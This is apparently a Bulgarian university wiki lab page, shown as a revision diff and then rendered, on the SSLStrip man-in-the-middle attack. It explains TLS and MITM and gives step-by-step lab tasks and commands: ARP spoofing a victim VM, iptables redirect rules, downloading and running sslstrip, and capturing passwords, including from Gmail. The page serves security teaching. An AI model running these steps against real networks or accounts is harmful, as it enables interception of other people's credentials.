SslStrip: Difference between revisions
No edit summary |
|||
| (41 intermediate revisions by the same user not shown) | |||
| Line 1: | Line 1: | ||
[[Category:Мрежова сигурност]] | |||
==TLS (SSL)== | |||
TLS (Transport Layer Security) и неговият предшественик SSL (на английски: Secure Sockets Layer) са криптографски протоколи, които осигуряват сигурност на комуникацията по Интернет. TLS и SSL криптиране са сегменти на мрежови връзки над Transport Layer, използвайки асиметрична криптография. | |||
Опитна постановка: | Няколко версии на протоколите се използват широко при уеб, електрон поща, гласова комуникация (VoIP) и др. | ||
[[Image:sslStrip.jpg| | |||
TLS се описва в[http://tools.ietf.org/html/rfc5246RFC 5246] и се основава на по-ранните SSL спецификации, разработен от Netscape Communications. | |||
TLS позволява на клиентски / сървърски приложения да комуникират в мрежата по начин, предназначен за предотвратяване на подслушване и подправяне. | |||
TLS клиентът и сървърът договарят динамична връзка чрез процедура на ръкостискане (handshaking) процедура. Процедурата започва, когато клиентът се свързва с TLS-сървър, изисква защитена връзка и представя на сървъра списък на поддържаните криптирания и хаш функции (ciphers and hash functions). От този списък сървърът избира най-силния шифър и хеш функция и уведомява клиента за решението. | |||
===TSL (SSL) Свързване=== | |||
Сървърът изпраща обратно идентификацията си под формата на цифров сертификат. Сертификатът обикновено съдържа името на сървъра, неговият издател (certificate authority (CA) и публичен ключ за криптиране на сървъра. Клиентът може да се свърже със сървъра, който е издал сертификата и да потвърди валидността на сертификата, преди да продължи нататък. | |||
За да се генерират сесийните ключове, използвани за сигурна връзка, клиентът криптира случайно число с публичния ключ на сървъра и му изпраща резултата. Само сървърът може да го дешифрира с неговия личен ключ. Така завършва процесът ръкостискане и започва защитена шифрована връзка. | |||
Ако някой от по-горните стъпки, се провали, TLS ръкостискането не успява и връзката не се създава. | |||
===МIТМ=== | |||
Man-in-the-middle(човек по средата) е набор от атаки, при които има атакуващ, който провежда „активно“ подслушване. Атакуващият комуникира с всички машини имащи осъществена връзка. Целта е да накара пакетите, чрез които си комуникират дадени машини да преминават през него, като същевременно машините си мислят, че говорят без посредник между тях, а всъщност цялата комуникация се управлявана от атакуващия. | |||
[[Image:mitm.jpg|none|thumb|400px|MITM атака|]] | |||
===SSLStrip=== | |||
SSLStrip е инструмент представен през 2009 година на конференцията BlackHat DC от Moxie Marlinspike. Целта на този инструмент е да направи видими потребителските имена и пароли пренасяни през SSL. | |||
SSLStrip е MITM (Man in the middle) атака. Идеята на SSLStrip е да прекъсне заявката за превключване към сигурна връзка идваща от жертвата и да го я да комуникира по нормалния http протокол. По такъв начин данните от жертвата до атакуващия биват предавани в текстов вид. | |||
Например: Когато сe проверява пощата в Gmail, потребителят написва в уеб клиента "mail.google.com" и не се интересува дали страницата се доставя през http:// или https://. Това е така, защото уеб клиента инициира криптирана връзка от сървъра автоматично. Превключването към сигурна връзка се осъществява посредством нормалния http протокол, който не е криптиран и превключването може да бъде прекъснато. | |||
==Опитна постановка== | |||
Опитната постановка ще бъде реализирана с три работни станции, маршрутизатор и комутатор със следните означения и роли: | |||
*WebServer - ще предоставя уеб услуги по http или https; | |||
*Router - Ще свързва външната мрежа с тази на жертвата; | |||
*Switch - ще предоставя възможност за включване на абонати към вътрешната мрежа; | |||
*Attacker - Ще прихваща и модифицира връзката между уеб сървъра и жертвата; | |||
*Victim - Ще достъпва уеб сървъра | |||
[[Image:sslStrip.jpg|none|thumb|400px|Опитна постановка за SSL атака]] | |||
===Адресна схема=== | |||
{| class="wikitable" | |||
|- | |||
! Устройсвто !!интерфейс 1 !! интерфейс 2 !! Gateway !! DNS | |||
|- | |||
| WebServer || 10.0.0.2/8 || --- || 10.0.0.1 || 8.8.8.8 | |||
|- | |||
| Router || 10.0.0.1/8 || 192.168.0.1/24 || --||8.8.8.8 | |||
|- | |||
| Attacker || 192.168.0.99/24 || --|| 192.168.0.1 ||8.8.8.8 | |||
|- | |||
| Victim ||192.168.0.2 || --|| 192.168.0.1||8.8.8.8 | |||
|} | |||
== Задачи == | |||
#Да се създадат 4 виртуални машини, три с Linux (Web Server, Attacker, Router) и една с Windows (Victim) | |||
#[[Apache SSL|Да се конфигурира уеб предоставящ http и https връзка.]] | |||
#[[Apache Redirection|Да се конфигурира автоматично пренасочване на http заявките към https.]] [[Apache Password Protected Directory|Сървърът да съдържа защитена директория достъпна с парола.]] | |||
#[[VirtualBox, Връзка между два компютъра|Да се конфигурират рутер съгласно опитната постановка.]] | |||
#Да се пренасочи трафика на жертвата през атакуващata машина чрез [[Spoofing|arp spoofing]] | |||
#Да се актвира sslStrip | |||
#Да се прихване паролата на защитената директория | |||
#Рутера да се конфигурира да предоставя връзка към Интернет. | |||
#Да се прихванe парола от gmail | |||
== Упътване == | |||
1.Задача | |||
*Да се [[VirtualBox|импортира виртулна машина]] с Linux OS | |||
**Смяна на MAC адрес | |||
**Включване към външната мрежа (Bridge Adapter) | |||
**Включване на виртуалната машина | |||
*Да се зададат [[Static_routing#Настройка мрежови интерфейси|IP мрежови настройки]],[[Linux DNS#Linux смяна DNS|Настройки DNS]] | |||
*проверка има ли Интернет връзка | |||
ping google.com | |||
4.задача | |||
echo 1 > /proc/sys/net/ipv4/ip_forward | |||
iptables -A POSTROUTING -t nat -j MASQUERADE | |||
6.Задача: | |||
Сваля се sslStrip | |||
:~$ wget http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.9.tar.gz | |||
разкомпресира се: | |||
:~$ gzip -d sslstrip-0.9.tar.gz | |||
:~$ tar -xf sslstrip-0.9.tar | |||
Инсталиране се | |||
:~$ apt-get install python-twisted-web | |||
:~$ cd sslstrip-0.9 | |||
:~$ python setup.py install | |||
:~$ iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port <yourListenPort> | |||
:~$sslstrip -L ''port'' | |||
Latest revision as of 14:17, 20 October 2015
TLS (SSL)
TLS (Transport Layer Security) и неговият предшественик SSL (на английски: Secure Sockets Layer) са криптографски протоколи, които осигуряват сигурност на комуникацията по Интернет. TLS и SSL криптиране са сегменти на мрежови връзки над Transport Layer, използвайки асиметрична криптография.
Няколко версии на протоколите се използват широко при уеб, електрон поща, гласова комуникация (VoIP) и др.
TLS се описва в5246 и се основава на по-ранните SSL спецификации, разработен от Netscape Communications.
TLS позволява на клиентски / сървърски приложения да комуникират в мрежата по начин, предназначен за предотвратяване на подслушване и подправяне.
TLS клиентът и сървърът договарят динамична връзка чрез процедура на ръкостискане (handshaking) процедура. Процедурата започва, когато клиентът се свързва с TLS-сървър, изисква защитена връзка и представя на сървъра списък на поддържаните криптирания и хаш функции (ciphers and hash functions). От този списък сървърът избира най-силния шифър и хеш функция и уведомява клиента за решението.
TSL (SSL) Свързване
Сървърът изпраща обратно идентификацията си под формата на цифров сертификат. Сертификатът обикновено съдържа името на сървъра, неговият издател (certificate authority (CA) и публичен ключ за криптиране на сървъра. Клиентът може да се свърже със сървъра, който е издал сертификата и да потвърди валидността на сертификата, преди да продължи нататък.
За да се генерират сесийните ключове, използвани за сигурна връзка, клиентът криптира случайно число с публичния ключ на сървъра и му изпраща резултата. Само сървърът може да го дешифрира с неговия личен ключ. Така завършва процесът ръкостискане и започва защитена шифрована връзка.
Ако някой от по-горните стъпки, се провали, TLS ръкостискането не успява и връзката не се създава.
МIТМ
Man-in-the-middle(човек по средата) е набор от атаки, при които има атакуващ, който провежда „активно“ подслушване. Атакуващият комуникира с всички машини имащи осъществена връзка. Целта е да накара пакетите, чрез които си комуникират дадени машини да преминават през него, като същевременно машините си мислят, че говорят без посредник между тях, а всъщност цялата комуникация се управлявана от атакуващия.

SSLStrip
SSLStrip е инструмент представен през 2009 година на конференцията BlackHat DC от Moxie Marlinspike. Целта на този инструмент е да направи видими потребителските имена и пароли пренасяни през SSL.
SSLStrip е MITM (Man in the middle) атака. Идеята на SSLStrip е да прекъсне заявката за превключване към сигурна връзка идваща от жертвата и да го я да комуникира по нормалния http протокол. По такъв начин данните от жертвата до атакуващия биват предавани в текстов вид.
Например: Когато сe проверява пощата в Gmail, потребителят написва в уеб клиента "mail.google.com" и не се интересува дали страницата се доставя през http:// или https://. Това е така, защото уеб клиента инициира криптирана връзка от сървъра автоматично. Превключването към сигурна връзка се осъществява посредством нормалния http протокол, който не е криптиран и превключването може да бъде прекъснато.
Опитна постановка
Опитната постановка ще бъде реализирана с три работни станции, маршрутизатор и комутатор със следните означения и роли:
- WebServer - ще предоставя уеб услуги по http или https;
- Router - Ще свързва външната мрежа с тази на жертвата;
- Switch - ще предоставя възможност за включване на абонати към вътрешната мрежа;
- Attacker - Ще прихваща и модифицира връзката между уеб сървъра и жертвата;
- Victim - Ще достъпва уеб сървъра

Адресна схема
| Устройсвто | интерфейс 1 | интерфейс 2 | Gateway | DNS |
|---|---|---|---|---|
| WebServer | 10.0.0.2/8 | --- | 10.0.0.1 | 8.8.8.8 |
| Router | 10.0.0.1/8 | 192.168.0.1/24 | -- | 8.8.8.8 |
| Attacker | 192.168.0.99/24 | -- | 192.168.0.1 | 8.8.8.8 |
| Victim | 192.168.0.2 | -- | 192.168.0.1 | 8.8.8.8 |
Задачи
- Да се създадат 4 виртуални машини, три с Linux (Web Server, Attacker, Router) и една с Windows (Victim)
- Да се конфигурира уеб предоставящ http и https връзка.
- Да се конфигурира автоматично пренасочване на http заявките към https. Сървърът да съдържа защитена директория достъпна с парола.
- Да се конфигурират рутер съгласно опитната постановка.
- Да се пренасочи трафика на жертвата през атакуващata машина чрез arp spoofing
- Да се актвира sslStrip
- Да се прихване паролата на защитената директория
- Рутера да се конфигурира да предоставя връзка към Интернет.
- Да се прихванe парола от gmail
Упътване
1.Задача
- Да се импортира виртулна машина с Linux OS
- Смяна на MAC адрес
- Включване към външната мрежа (Bridge Adapter)
- Включване на виртуалната машина
- Да се зададат IP мрежови настройки,Настройки DNS
- проверка има ли Интернет връзка
ping google.com
4.задача
echo 1 > /proc/sys/net/ipv4/ip_forward iptables -A POSTROUTING -t nat -j MASQUERADE
6.Задача: Сваля се sslStrip
:~$ wget http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.9.tar.gz
разкомпресира се:
:~$ gzip -d sslstrip-0.9.tar.gz :~$ tar -xf sslstrip-0.9.tar
Инсталиране се
:~$ apt-get install python-twisted-web :~$ cd sslstrip-0.9 :~$ python setup.py install :~$ iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port <yourListenPort>
:~$sslstrip -L port